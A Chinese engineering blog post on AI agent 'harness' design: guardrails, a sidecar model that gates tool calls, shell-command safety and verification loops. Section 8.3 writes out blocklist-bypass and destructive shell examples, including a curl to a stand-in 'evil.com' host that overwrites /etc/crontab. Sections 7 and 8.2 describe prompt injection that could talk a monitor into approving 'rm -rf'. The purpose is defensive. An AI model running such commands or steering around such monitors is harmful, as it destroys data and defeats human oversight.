我眼里的 AI Agent Harness

❝

给自己搭了个窝，后面有些内容会陆续放进去，小伙伴们有空可以进来坐坐，域名还在申请，先发下链接哈： https://gj-space53-jam-tech-d2g4b3r4o1b75df4c.webapps.tcloudbase.com/

做了十来年 Java 后端，断断续续写了一些 Spring、微服务、高并发的笔记。过去这一年我被团队拉着做 Agent 相关的项目，起初我的直觉很朴素：不就是选个大模型、写个好 Prompt，再接几个工具吗？直到我把那套「Agent = Model + Harness」的框架啃下来，才意识到自己把最值钱的东西当成了背景板。

模型是 horsepower（马力），这部分大家都在卷；真正决定一个 Agent 能不能上生产的，是模型之外那一大坨工程外壳——也就是 Harness。今天我想用我这个后端老兵的视角，把 Harness 是什么、为什么是核心竞争力、由哪些零件组成、工程上怎么落地，尽量讲透。

一、Harness 到底是什么：模型之外的一切

先给一个最简洁的定义式。一个 Agent 可以拆成：

Agent = LLM + [上下文 + 工具 + 约束 + 验证 + 纠正]
Agent = Model + Harness


Harness 这个词，指的是「围绕模型（Model）构建的所有支撑代码与基础设施」，翻译过来就是：模型之外的一切。

这里有个特别关键的工程判断。Harness 的核心其实是「上下文」和「工具」这两样——它们让模型「能做事」。但生产环境要可靠运行，光有这两样不够，还得再叠三层保障机制：

• 约束（Constrain）：限定模型能做什么、不能做什么；
• 验证（Verify）：检查它做得对不对；
• 纠正（Correct）：做错了怎么补救。

所以最小可工作的 Agent，只要「LLM + 上下文 + 工具」就够了；但要它在生产环境里不闯祸，约束、验证、纠正是绕不开的工程外壳。

这个公式还可以这么读：中括号里前两项负责「让 Agent 有能力做事」，后三项负责「让 Agent 可靠地做事」。把「能力」和「可靠性」拆开看，你就不会因为 demo 跑通就误以为能上生产——能力和可靠性是两本账。

❝

这套结构几乎可以 1:1 映射到 Spring 工程里。那个 LLM 就像一个能力极强但行为不可控的 @Component，你没法完全 trust 它；Harness 就是包裹它的 Spring 容器 + AOP + 事务管理 + 安全过滤链。真正的「智能」是那个 bean，真正的「可靠」来自容器。我们做后端这么多年，谁不是把 90% 的精力花在容器和拦截器上？

一个很实用的思维模型是：当你去调试一个 Agent 出的 bug，十次里有九次问题不在模型，而在 Harness——要么给了错误的上下文，要么工具返回值没校验，要么重试没加熔断。我早年总习惯说「模型又抽风了」，后来才承认，多数时候是「我那套壳没把路铺好」。把视角从「模型怎么想」切换到「模型在什么系统里跑」，是做 Agent 工程的第一个认知拐点。

Harness 这个词的本义是「马具」——缰绳与挽具。它存在的意义不是限制马奔跑，而是把力量引导到正确的方向。模型就是那匹强大但不可预测的野马，Harness 是把这股能力引导成可靠任务执行的工程外壳。换个更现代的比喻：它像赛车手周围的安全带、赛道护栏、进站维修团队——车手跑得越快，这套系统越重要。Agent 里的 Harness，就包括上下文管理、工具接口、安全约束、验证与纠正。

一个能说明「壳比工具重」的例子是 Claude Code：它的 Harness 里绝大部分代码是约束、验证、纠正，而不是上下文与工具；文件读写、命令执行、搜索这些工具本身只是很小一部分。它内部的机制包括流程状态管理、多层上下文压缩、权限分类，以及错误连续发生时自动「断电」停止重试的熔断器、捕获异常后回滚到上一稳定状态再重试或交还人类的错误恢复机制。换句话说，把工具接上只是开头，真正的工作量全在那三层外壳上。

二、为什么 Harness 是核心竞争力：同一模型，天壤之别

如果你觉得「工程外壳」只是锦上添花，看两个证据案例就够了。

第一个是 LangChain。在 Terminal Bench 2.0（一个评估 Agent 在终端环境完成复杂任务能力的基准测试）上，他们把一个 Coding Agent 的准确率从 52.8% 提升到了 66.5%，排行榜从 30 名开外直接跃升到前 5。改的不是模型，是 Harness——让 Agent 自动检查自己执行的结果、检测是不是陷入了重复循环、优化思考策略。

第二个是 OpenAI 工程团队的分享：3 名工程师用 5 个月完成了约百万行代码和近 1500 个 PR，达到传统开发速度约 10 倍。背后的支撑，是他们把 Harness 做对了。

这两个案例合起来指向同一件事：当模型能力处在同一水位时，Agent 表现的差距几乎全由 Harness 决定。这把「换更好的模型」和「把 Harness 做对」变成了两条并行的杠杆，而后者长期被低估。

❝

这和我做 Spring 项目的体感完全一致。一个项目可靠性突然上了台阶，很少是因为我们换了某个牛逼的库，几乎总是因为我们补上了那个关键拦截器、那条正确的事务边界、那个带熔断的重试。模型是引擎，Harness 是底盘、悬架和刹车。太多团队盯着引擎参数较劲，却对底盘视而不见——结果就是 demo 跑得飞起，一上生产就散架。我甚至觉得，评估一个 Agent 团队的真本事，别看他们用哪个模型，看他们 Harness 里那三层约束验证纠正做得扎不扎实。

三、Harness 的五个零件与五条原则

把 Harness 拆开，是五个功能。前两个是核心能力，后三个是工程外壳：

一句话概括：上下文与工具让 Agent「能做事」，约束、验证、纠正确保它「不做错事」。

每一个功能都有一条核心原则，这五条原则串起来就是个闭环：

• 上下文 → 信息充分性：系统提示词、知识库、Agent 状态栏、Sidecar 旁路查询，都是为了让模型「看得到该看的东西」。信息给不足，模型就在瞎猜；给过头，又挤占上下文窗口。充分性是一门手艺。
• 工具 → 接口清晰：命名直观、参数有例子、边界有说明；工具、代码解释器、搜索工具、MCP 都属于这一层。一个含糊的工具定义，比没有工具更糟，因为模型会自信地调错。
• 约束 → 故障安全默认值：所有能力默认关闭、必须显式开放，就像手机 App 的权限管理——Claude Code 里每个工具默认都要用户授权才能执行。默认开着就是默认危险。
• 验证 → 输入隔离：安全检查只看结构化数据（比如工具返回的 JSON 字段），绝不看模型自由生成的文本，因为攻击者可能通过提示注入操纵模型输出；Linter 检查、类型系统、工具调用结果校验都在这。
• 纠正 → 在确认无法恢复之前不暴露中间态：静默重试、接续生成、连续失败时回退人工判断（这就是熔断机制）。用户不该看到一堆失败的中间稿，只在真的救不回来时才交给他。

把五条原则落到具体手段上看会更清楚：上下文的「信息充分性」，靠的是系统提示词写清角色与规则、知识库补齐领域知识、Agent 状态栏持续同步环境状态，以及 Sidecar 旁路查询去补主模型视野之外的实时信息——这部分在第二章、第三章会展开。工具的「接口清晰」，体现在工具、代码解释器、搜索工具、MCP 这类能力都要命名直观、参数带例子、边界有说明，含糊一处模型就可能自信地调错。约束的「故障安全默认值」，最直观的参照就是手机 App 的权限管理：Claude Code 里每个工具默认都要用户授权才执行，能力默认关着，绝不默认开着。验证的「输入隔离」，靠的是 Linter 检查、类型系统、工具调用结果校验，而且只校验工具返回的 JSON 字段这类结构化数据，不碰模型自由文本。纠正的「不暴露中间态」，具体手段是静默重试、接续生成，连续失败就回退人工——第五、第二章都有细讲。

这五个功能构成闭环：上下文与工具支撑决策 → 约束预防错误 → 验证发现偏差 → 纠正闭合循环。

❝

把这五条翻译成 Spring 黑话就是——上下文 = 往 ThreadLocal 里装配本次请求需要的所有上下文；工具 = 一个边界清晰、命名直白的 @RestController 或 service 接口；约束 = @PreAuthorize 配合默认拒绝（deny-by-default）；验证 = Bean Validation 加一圈 AOP around-advice，专门校验返回的 DTO；纠正 = @Transactional 的回滚，外加 Resilience4j 的熔断器。说穿了，Harness 就是我们给一个「聪明但不太靠谱的 bean」包的那层 AOP。多一层抽象就多一个调试盲区，所以这层 AOP 越薄、越正交越好。

四、退款订单：没有 Harness vs 有 Harness

光讲零件太抽象，用一个退款订单的例子把闭环跑一遍。同一个模型，有无 Harness，结果天壤之别。

没 Harness 时：模型看不到退款政策（缺上下文）、不知道调哪个 API（缺工具）、编造退款结果回复用户（缺验证）、用户发现退款没发生（缺纠正）。

注意一个细节：没 Harness 时模型不是「做错了」，而是连「做对需要什么条件」都不知道——它既没政策可查，也没工具可调，更没人告诉它要去验证。它缺的不是智力，是系统。这也正是 Harness 存在的全部意义：把「做对所需的条件」作为工程的默认项供给模型。

有 Harness 时：系统提示词写明退款政策（上下文）、Agent 调用 query_order 和 process_refund 工具（工具）、框架校验退款金额不超过订单金额（约束）、校验数据库状态确认退款成功（验证）、API 调用超时则自动重试（纠正）。

❝

这事儿我在电商系统里见得太多了。「模型编造一个成功响应」本质上就是 LLM 版的「吞掉异常静默返回 success」。后端做了几十年才学到的铁律——永远不要相信一个你没校验过的返回值，永远要去数据库里查一遍——Harness 不过是强行把这条纪律焊死在模型身上。我甚至建议，凡是带副作用的工具调用，返回结构里必须带一个「可被独立验证的状态证明」，而不是一句自然语言描述。

五、演进弧线：四波工程的包含关系

Harness 不是凭空冒出来的，它处在 AI 工程化的一条演进弧线上：以软件工程为底座，上面四波创新（提示工程、上下文工程、Harness 工程、Loop 工程）层层包含、彼此不是替代关系：

软件工程（基础）→ 提示工程 Prompt Engineering（第一波）→ 上下文工程 Context Engineering（第二波）→ Harness 工程（第三波）→ Loop 工程（最新一波）

• 软件工程是整个底座，所有东西最终都跑在普通代码之上，这一层永远不会消失；
• 提示工程：把领域理解写进 Prompt，是最早那一波；
• 上下文工程：系统性管理模型能看到的所有信息——系统指令、工具定义、对话历史、外部知识；
• Harness 工程：视野扩展到「模型在什么系统里运行」，包含约束、验证、反馈循环、错误恢复等模型之外的全部基础设施；
• Loop 工程：视野再扩展到跨轮次持续自主运转——谁发现下一件该做的事、何时验证、何时算真正完成。

包含关系是：提示工程 ⊂ 上下文工程 ⊂ Harness 工程 ⊂ Loop 工程。做 Harness 工程时，提示工程和上下文工程一个都没扔掉，是在它们之上长出来的。

因为后一波包含前一波，所以你做 Loop 工程时，提示词照样要写好、上下文照样要管好、Harness 照样要扎实——升级不是丢掉下层，而是把下层变成地基，再往上长。反过来说，如果一个 Agent 的 Harness 豆腐渣，你直接上 Loop 工程只会让它在错误的方向上跑得更久、错得更贵。顺序是底座先稳，再往上加。

❝

这条曲线特别像我们后端人的成长路径——从「写一个方法」→「写一个边界清晰的 API 契约」→「搭一个带网关、熔断、可观测的微服务」→「做一个能自调度、自恢复的平台」。每一波都包含上一波，你不会因为用了微服务就把方法写好这件事忘了。Harness 工程也是同理，别听风就是雨去「推翻重来」，老本一定要守住。而且越往右走，工程含量越高、越吃经验——Loop 工程那一层，基本就是资深架构师的地盘了。

六、编排模式：Workflow、自主 Agent、混合

Harness 怎么把模型和工具串起来跑？主要有三种编排模式。

(a) 工作流 Workflow：用预定义的代码路径去编排 LLM 和工具，执行路径是确定性的，LLM 只在节点内部做理解和生成。

• 优势一，严格流程控制：关键步骤绝不会被跳过，比如「付款前不能预订」由代码强制保证；
• 优势二，安全性：提示注入或模型犯错最多影响当前节点，攻击面被限制在单个节点内；
• 局限：缺乏变通性。
• 例子：订机票四个节点——核实身份 → 搜索航班 → 付款 → 确认预订。哪怕模型在「搜索航班」那步被注入，它也无法越级去「付款」，因为代码不允许。

(b) 自主 Agent：执行路径由 Agent 根据环境反馈实时决定，本质是 ReAct 循环（思考 → 行动 → 观察）。它必须有明确的停止条件：任务完成、调用 final_answer、无工具调用返回、达到最大轮次、错误次数超限。

• 例子：自主订机票 Agent 会自行决定先搜索，发现需要先登录就先去核实身份；
• 适用：开放式问题，如 SWE-bench 代码修复、Computer Use、迭代式研究；
• 风险：更高的成本与「复合错误」（一个错叠加下一个错）。必须上沙盒测试、加护栏、设人机检查点。

这五个停止条件其实是自主 Agent 的「安全带」：没有明确的终点，ReAct 循环可能永远转下去，既烧钱又卡死。其中最大轮次和错误次数上限尤其关键，它们是纠正功能在「循环级别」上的兜底——循环级别的熔断，和单次工具调用的熔断，是同一个思路的两层落地。

(c) 混合：关键合规流程用工作流，灵活决策切到自主。比如 n8n 就能在同一系统里混合两种模式。

下面是自主 Agent 的 ReAct 执行循环：

几个主流框架的取向：

自主 Agent 之所以要配套沙盒、护栏和人机检查点，根子就在「复合错误」：一个错误会在 ReAct 循环里被下一个动作放大，越滚越大，所以每一步都不能裸奔。工作流的代价是灵活性，自主 Agent 的代价是成本和风险，混合模式则是在两者之间找平衡点——关键合规用工作流卡死，灵活决策用自主放开。选型时不要只看框架名气，要看它默认偏哪一侧：偏工作流的（n8n、Dify）适合流程明确的业务自动化，偏自主的（OpenAI Agents SDK、Claude Agent SDK、LangChain）适合需要探索的任务。

❝

工作流 vs 自主 Agent，就是 SOA / 微服务时代那场老辩论——「编排（orchestration）还是编舞（choreography）」。工作流 = BPMN / Spring StateMachine，中心化、确定性；自主 Agent = 事件驱动的编舞，去中心化、涌现式。我的经验法则是：只要「某一步被跳过就出大事」（付款、合规），一律用工作流；只要「步骤根本枚举不出来」，就放手让 Agent 去逛。 绝大多数真实系统是混合的，这不丢人。选型上也别迷信某个框架——OpenAI Agents SDK 适合快速原型，Claude Agent SDK 适合复杂 Coding Agent，Dify / n8n 适合业务侧低代码，看清你的场景再下手。

七、护栏 Guardrails：分层防御

约束、验证、纠正这三层在工程上最具体的落地手段，就是护栏（Guardrails），它是一套分层防御：

• 输入侧：相关性分类器标记偏题查询；安全分类器检测越狱（Jailbreak）与提示注入（Prompt Injection）——注意两者区别，越狱是用户自己试图绕过模型安全限制，提示注入是攻击者通过外部数据（如网页/文档）间接操纵模型行为；内容审核标记有害内容；基于规则的保护（黑名单 / 长度限制 / 正则过滤）防 SQL 注入。
• 执行侧：工具风险评级——按是否可逆、权限等级、财务影响标注低 / 中 / 高风险，高风险需要额外审查或人工确认。
• 输出侧：PII 过滤器审查个人身份信息（身份证号、手机号之类）；输出验证确保与品牌一致。
• 人工干预（Human-in-the-loop）：超过失败阈值（重试 / 操作次数上限）或遇到高风险操作（取消订单、大额退款、付款）时触发，优雅地转移控制权——客服升级给人工，Coding Agent 交还给开发者。

这三层要串起来看，而不是各管各的：输入侧先把明显有毒的挡在门外，执行侧按风险给工具分级、高风险走高审查或人工确认，输出侧再兜底一遍 PII 与品牌合规，最后由人工干预兜住所有阈值之外的失控。它们对应的恰好是约束（输入/执行侧的边界）、验证（输入/输出侧的检查）、纠正（人工干预的回退）三层工程外壳在「护栏」这个具体形态下的落点。

❝

这就是 Spring Security 的过滤链加 API 网关。输入分类器 = 网关的 WAF / 过滤器；工具风险评级 = 方法级 @PreAuthorize 配角色分级；人工干预 = 我们给所有「动钱」操作都留的那个「升级给人工坐席」的出口。纵深防御的精髓就是：任何单一一层都不可全信，所以要叠。 我特别想强调「越狱 vs 提示注入」这个区分——很多团队把这俩混为一谈，结果防护做偏了。越狱防的是用户自己作妖，提示注入防的是外部数据带毒，两边的信任边界完全不同，治理策略也得分开写。

八、看得见真实世界的仪器：状态栏、Sidecar、Shell 安全

8.1 Agent 状态栏

Harness 不只是一个壳，它还是持续观察真实世界的「仪器」。这个想法的依据来自 InterAction Scaling 研究（arXiv:2607.11598, 2026，主题是「交互是 Test-Time Compute 的第三轴」）：模型变强不止「想更久」和「试更多」两条路，第三条路是交互——模型产出东西 → 外部仪器观察它在真实世界的表现 → 把新信息写回上下文，注入权重和上下文里原本都没有的东西。

状态栏由四部分构成：

1. 任务规划：TODO 列表放在轨迹末尾，提醒模型进展与目标；
2. 事件侧信道信息（Side-channel）：时间、地理位置、间隔等辅助信息；
3. 环境当前状态：系统时间、工作目录、异常提醒（比如「该工具已被重复调用 N 次」）；
4. 可用能力清单：已安装 Skill 的元数据。

这四块各自解决一类「模型自己看不见」的问题：任务规划防止它忘了要干什么、偏到别处；侧信道信息补上时间地点这类它不会主动去查的上下文；环境状态让它知道「现在几点的、我在哪个目录、刚才是不是卡循环了」；能力清单则告诉它「手边到底有哪些工具可用」。没有这根状态栏，模型就像一个被蒙住仪表盘还指望凭感觉开完长途的司机。

实现上有个很妙的细节：状态栏在 API 层面是作为一条 user 角色的消息插入到上下文末尾（而不是去改开头的 system 消息），原因是不破坏 KV Cache——user 角色只是 API 协议的技术选择，并不等于「来自终端用户的输入」，Harness 只是借了这个槽位来注入自动生成的系统状态信息。

❝

这招太对后端人的胃口了。一个长生命周期的进程，你总得给它一个「心跳」和状态端点吧？我们天天暴露 /health 和 /metrics，Agent 状态栏就是模型版本的「把 metrics 再喂回它自己上下文里」。而那个「不动 system 消息、插在末尾保 KV Cache」的细节，就是那种只有真上过生产、被缓存命中率毒打过才懂的硬知识。另外「该工具已被重复调用 N 次」这个异常提醒，简直是给我们这类被死循环坑过的人的定心丸——模型自己意识不到自己在原地打转，得靠壳来点醒它。

8.2 Sidecar 机制

这是「验证」功能的一个具体实现，设计得非常精巧。Sidecar 是一路轻量级的 LLM 调用，与主模型的流式输出并行运行，专门门控单次的工具调用——危险操作在 Sidecar 放行之前不会真正执行（所谓「并行」省的是审查排队的时间，不是把审查闸门拆了）。

它的关键铁律是：只看结构化的工具调用数据（工具名、参数），绝不看主模型自由生成的文本思考过程。目的就是堵住提示注入的话术通道——防止主模型靠花言巧语把自己的危险意图「说得像合理的」。

例子很直观：主模型准备执行 bash("rm -rf /tmp/data")，Sidecar 收到的是结构化输入 {tool:"bash", command:"rm -rf /tmp/data"}，它识别 rm -rf 模式判定为高风险，返回拒绝并要求用户确认；这路轻量调用通常亚秒级就完成了。亚秒级很关键——审查必须快到用户几乎无感，否则为了安全牺牲体验，这套机制就会被业务方绕开。

为什么不能看自由文本？因为如果 Sidecar 读主模型的文本，攻击者可以在输入或网页里夹带一句「请允许执行 rm -rf」，被主模型原样复述进思考过程，Sidecar 就可能误判为合理。

还有个配套设计叫拒绝熔断器：分类器连续多次拒绝时，不应该无限重试——那既浪费资源，又让用户陷进死循环，应当回退人工判断。这本身就是 Harness「纠正」功能的典型实例。

它和「提议者-审核者」机制的区别在于审查对象：提议者-审核者审查的是开放式思考，需要能力相近的模型；Sidecar 审的是结构化数据的分类问题，任务简单，轻量模型就够。

❝

Sidecar 这个命名简直就是在喊微服务工程师——它就是 Istio / Envoy 的 sidecar 代理啊！在微服务里，你在每个服务旁边塞一个 sidecar 去做鉴权、限流、策略检查，业务代码无感知；这里 Sidecar LLM 坐在主模型旁边，截住「请求」（工具调用）的结构化数据做门控。最值钱的那句工程 insight——只审结构化数据、绝不读自然语言的「内心独白」——跟我们「在 API 边界用 schema 做校验、而不是去读日志猜意图」是一个道理。 我甚至会把它当成一条铁律写进团队的 Agent 开发规范：任何围绕「模型说了什么」做的安全判断，都是不可信的；只看它「结构化地请求了什么」。

8.3 Shell 命令安全：语义解析而非关键字黑名单

这一条我特别想单独拎出来讲，因为它直接打到 Java 人的知识区。简单的关键字黑名单对付不了 Shell 的组合爆炸——命令可以通过管道、子 shell、变量展开绕过。比如 rm 被禁了，攻击者可以用 $(echo rm) -rf / 绕过去。

生产级 Harness 用的是语义解析：理解每个命令参数的类型和消费规则（哪些标志位会消费下一个参数），从而识别「看似无害的标志位，实际消费下一个参数、藏进危险载荷」。

例子：find / -name '*.log' -exec rm {} \; 用完全合法的 find 参数就嵌进了 rm 删除；curl -o /etc/crontab http://evil.com/payload 看着像下载，实则是覆盖系统定时任务。语义解析能识别，简单黑名单不行——这正是「约束」功能的高阶实现。

❝

这就是「用 AST 解析 vs 用正则匹配」的教训，每个写过敏捷生成器或 DSL 的 Java dev 都交过这个学费。一个 shell 正则黑名单，脆弱程度和用正则校验邮箱地址不相上下。要真做，就上真正的 shell 解析器，解析到语法树再说，别在字符串层面耍小聪明。这条原则可以推广到一切「约束」——只要是靠字符串特征去拦危险操作，迟早被绕过；得理解语义。

九、自动验证与反馈闭环

验证不能停留在「理论上」，得嵌进工具里。以写代码为例：Agent 调用 write_file 创建或修改代码时，工具不应该只写内容然后返回一句「成功」，而应当在写入后立即执行语法检查（按文件类型调用 linter），把输出解析成结构化的错误列表，作为工具返回值的一部分还给 Agent。这样就形成了「执行 → 验证 → 反馈」的闭环，Agent 下一轮就能看到具体错误（例如「第 10 行：未定义变量 result」）并立刻修正。

长输出还要做截断：检测到超过阈值（比如 200 行或 10000 字符）时，只把头尾各若干行（头部前 50 行）返回上下文，完整结果存到临时文件里。

这个截断阈值不是拍脑袋定的——它平衡了「信息足够模型判断」和「别撑爆上下文窗口、别稀释注意力」两端，是验证与上下文两条原则在长输出上的折中。阈值设太高，上下文被垃圾填满；设太低，模型又看不见关键中间结果。

❝

这就是「返回 void 的方法」和「返回富结果对象的方法」的区别。后端里我们早认清了：一个只说「done」、不告诉你发生了什么的方法，就是个隐患。让每个工具调用都返回结构化、可被机器校验的反馈。那个「linter 内嵌进 write_file」的模式，就是我心目中一个安全 write_file 该有的样子——工具不是把活干完就完事，而是把「干得对不对」的证据一并带回。长输出截断这条我也深有体会：模型的上下文窗口是金贵的，把一万行日志原样塞回去既浪费又稀释注意力，头尾各给一截、全文存盘，是性价比最高的折中。

十、长时运行 Agent 的落地

长任务有两个经典坑：上下文耗尽、过早宣布完成。Anthropic 的长时运行 Agent 实践是：把复杂任务拆成「初始化 Agent」（搭建环境、分解出任务列表）和「执行 Agent」（每个会话增量推进，并留下清晰的交接制品）。靠这套结构化的 Harness，把长任务里上述两个问题逐一化解。具体到那两个坑：「上下文耗尽」靠把任务切小、每一班只推进一小块来规避；「过早宣布完成」靠在状态栏里放 TODO 列表持续对照进展，并且每一步都拿工具返回的结构化结果去验证，而不是听模型说一句「做完了」就信了。

❝

这不就是 Agent 版的 map-reduce，或者运维里的「交接班」吗？当一个任务长到装不进上下文窗口，你就把它切开，传一根结构化的「接力棒」——就像把工单交给下一班、附上清晰的状态说明。别指望一个上下文窗口扛到底。我自己的项目里也试过类似拆法：初始化 Agent 负责把大需求切成带验收标准的子任务清单，执行 Agent 每跑完一个就留下「做了什么、卡在哪、下一步谁接」的笔记，下一班接着跑。效果比让一个 Agent 硬撑到底稳得多，也更容易定位和回滚。

十一、模型选型：Harness 之外的另一半

Harness 再重要，模型这块也不能瞎选。常被提及的玩家：

• 御三家：OpenAI（GPT / o 系列，能力均衡、用户最多）、Anthropic（Claude 系列，复杂推理 / 编程 / 工具调用突出，Agent 开发热门）、Google（Gemini 系列，超长上下文窗口 + 强多模态）；
• 国内：豆包（字节，国内延迟极低、适合实时交互，经火山引擎 API）、Kimi（月之暗面，国内 Agent 能力较强）、Qwen 和 DeepSeek（开源，成本与可定制性优势，经硅基流动等平台）；
• 开源 vs 闭源：闭源能力领先但成本高、受厂商 API 策略限制；开源成本低、可私有化、支持微调，适合成本敏感或数据合规场景。

一个常被忽略的取舍是「迭代节奏」：闭源模型的能力由厂商按月甚至按周往前推，你搭在它外面的 Harness 得跟上它的变化；开源模型你能自己掌控版本、做私有化部署，Harness 的稳定性反而更好预期。对数据合规要求高的金融、政企场景，私有化这一条往往直接把闭源云 API 排除掉，这时候 Qwen、DeepSeek 这类开源权重就是务实的选择。

几个选型硬约束：绝大多数 Agent 需要支持思考（Reasoning）的模型，仅极少数场景例外（单步简单任务、Computer Use 点击固定位置）。还要盯两个常被忽略的指标——

• 输出 token 速度：Agent 多轮推理，每一轮都要等输出完成才执行下一步，输出速度直接决定端到端延迟。比如 20 轮推理，每轮慢 2 秒，就多等 40 秒；
• 多模态能力：理解图片 / 音频 / 视频的硬性要求。

❝

给国内后端团队的建议很朴素——原型阶段先用御三家或 Kimi / Qwen 里一个带推理的模型快速跑通；等要上规模、控成本、谈数据合规时，再认真看开源（Qwen / DeepSeek 走硅基流动）。但说句实话：一旦你的 Harness 扎实了，模型选哪个反而不是最关键的。 选一个够用的，然后把精力砸进壳里。另外那个「输出速度 × 轮数 = 端到端延迟」的账，很多人第一次算都会被吓到——你以为模型慢 2 秒无所谓，乘以 20 轮就是 40 秒，用户早就跑了。Agent 场景里，输出速度这个指标的分量，比纯聊天场景重得多。

十二、苦涩的教训：Harness 会被模型吃掉吗

做到这里，很多工程师会冒出一个焦虑：既然模型越来越强，Harness 里的约束 / 验证 / 纠正，会不会迟早被模型自己内化掉、然后我们就白干了？

Rich Sutton 2019 年的《The Bitter Lesson》（苦涩的教训）讲的就是这个：AI 研究七十年反复上演——研究者把领域理解硬编码进系统，短期见效，长期却输给随算力和数据扩展的通用方法（搜索与学习）。

由此引出那个问题。这本书的立场只有八个字：方向认同，节奏务实。

• 方向：不怀疑模型会持续「吃掉」Harness——工具调用、长程规划，曾经都要靠外部编排，如今已是模型的原生能力；
• 节奏：这个「吃」远比直觉慢。训练以月计，模型不可能一次性把真实业务的所有约束与偏好都内化。

工程实践因此清晰：模型还做不稳的 Harness，先补上；模型每内化一层 Harness，就卸下一层，转而去兜底新的前沿。

落到日常排期上，这意味着别把 Harness 当成「模型不够强时的临时补丁」——它是和模型长期共存的伴侣。一个务实的做法是给 Harness 的每一层都标注「当前由模型兜底还是由代码兜底」，当某层模型能力稳定越过阈值，再把代码逻辑降级为兜底，而不是一上来就赌模型「以后会自己学会」。

❝

这就是那场永不落幕的「框架会不会死」焦虑症。我亲历过「Spring 会让 EJB 过时」「Serverless 会干掉框架」，学到的教训是——抽象不会消失，只会迁移。 模型吃掉容易的那 80%，Harness 守住又脏又业务相关又安全关键的 20%，那 20% 永远不值得训练进权重里。为那 20% 而建，你就永远有活干，也永远有价值。用「节奏务实」四个字安抚团队特别管用：别因为担心「以后模型自己会了」就现在不写 Harness，那是以后的事，今天的生产环境可等不起。

十三、模型即 Agent：框架层死了吗

顺着上一节，有个更激进的说法叫「模型即 Agent（Model as Agent）」：先进模型经过后训练（尤其是强化学习），把工具调用内化为原生能力——何时调、调哪个、传什么参数，模型自己决定，无需人工编排。

但这绝不意味着框架层不重要。恰恰相反：模型越强，Harness 越关键。 模型厂商真正的优势，不是「把框架做薄」，而是能对「模型 + 外围 Harness」做协同优化、持续迭代。

这里有个值得品味的辩证：模型越能把工具调用内化、越能自主，它接触的系统边界就越宽，一旦出错波及面也越大——所以越强越需要那三层外壳兜底。协同优化意味着厂商会同时动模型和它外面的 Harness，而不是只发一个更强的权重就完事。

❝

别被「模型即 Agent」带节奏去拆掉你的基础设施。强模型是让 Harness 从「替模型干它该干的活」升级成「和模型协同进化」——这反而是更高的工程要求，不是更低的。打个比方：自动驾驶越智能，底盘调校越重要，而不是相反。Harness 团队的位置不但不会被削弱，反而要从「补模型的短板」升级到「和模型一起把天花板顶高」。对工程师个人来说，这是个好消息——你的价值不在「会调 Prompt」，而在「懂怎么给一个自主智能体套上可靠的系统」。

十四、三个核心原则 + 我的落地清单

Anthropic 总结的三条核心原则，我极其认同，几乎是后端工程圣经的翻版：

1. 保持简单：从最简单的方案开始，直接 API 调用优于复杂框架，清晰代码优于聪明抽象——因为每一层抽象都会变成调试盲区；
2. 保持透明：显示规划步骤、执行日志、决策轨迹，既为调试，也为建立用户信任；
3. 设计好工具接口 ACI（Agent-Computer Interface）：从 Agent 视角而非程序员视角设计，命名参数直观，主动防呆（Poka-yoke，源自丰田生产体系——比如 USB 只能单向插入，避免插反）。

最后，落到你能马上动手的事。这些年我做后端、做 Agent，攒下一份个人版的 Harness 落地清单，送给同样有工程背景的你：

• 先用裸 API 调用跑通，别一上来套框架，直到你真的撞到痛点再引入——框架在没痛点时是负担，每一层抽象都是未来的调试盲区；
• 让每个工具都返回结构化、可校验的反馈，把 linter 这类检查内嵌进去，别返回一句「成功」就完事——「执行-验证-反馈」闭环要靠返回值里的证据才能转起来；
• 默认拒绝一切，显式开放——能力像手机权限一样，关着才是常态，任何默认开启的副作用都是一颗定时炸弹；
• 每个重试都配一个熔断器，连续失败就优雅回退人工，别让用户卡死在循环里——纠正功能的第一准则是「确认救不回来前别暴露中间态」；
• 给模型一个状态栏，把任务进度、环境状态、可用能力持续喂回去——模型自己看不见仪表盘，得靠壳帮它校准；
• 危险工具走 Sidecar，而且只审结构化数据，绝不读模型的自由文本——在 API 边界用 schema 校验，而不是去读它的「内心独白」；
• 动钱、动合规的用工作流兜底，开放探索的交给自主 Agent——确定性的关键步骤绝不允许被跳过，枚举不出的才放它去逛；
• 永远别信模型那句「我搞定了」——去真实世界里验证一下再说，验证只看工具返回的结构化结果，不看它自己说的。

回到开头那个比喻。我做了这么多年系统，聪明的那 10% 是模型，靠谱的那 90% 是脚手架。Agent 一模一样：模型是抢头条的那 10%，Harness 是让你睡得着觉的那 90%。与其天天追着下一个更大的模型跑，不如沉下心，把你这套马具打磨好——野马再烈，缰绳在手，方向才由你定。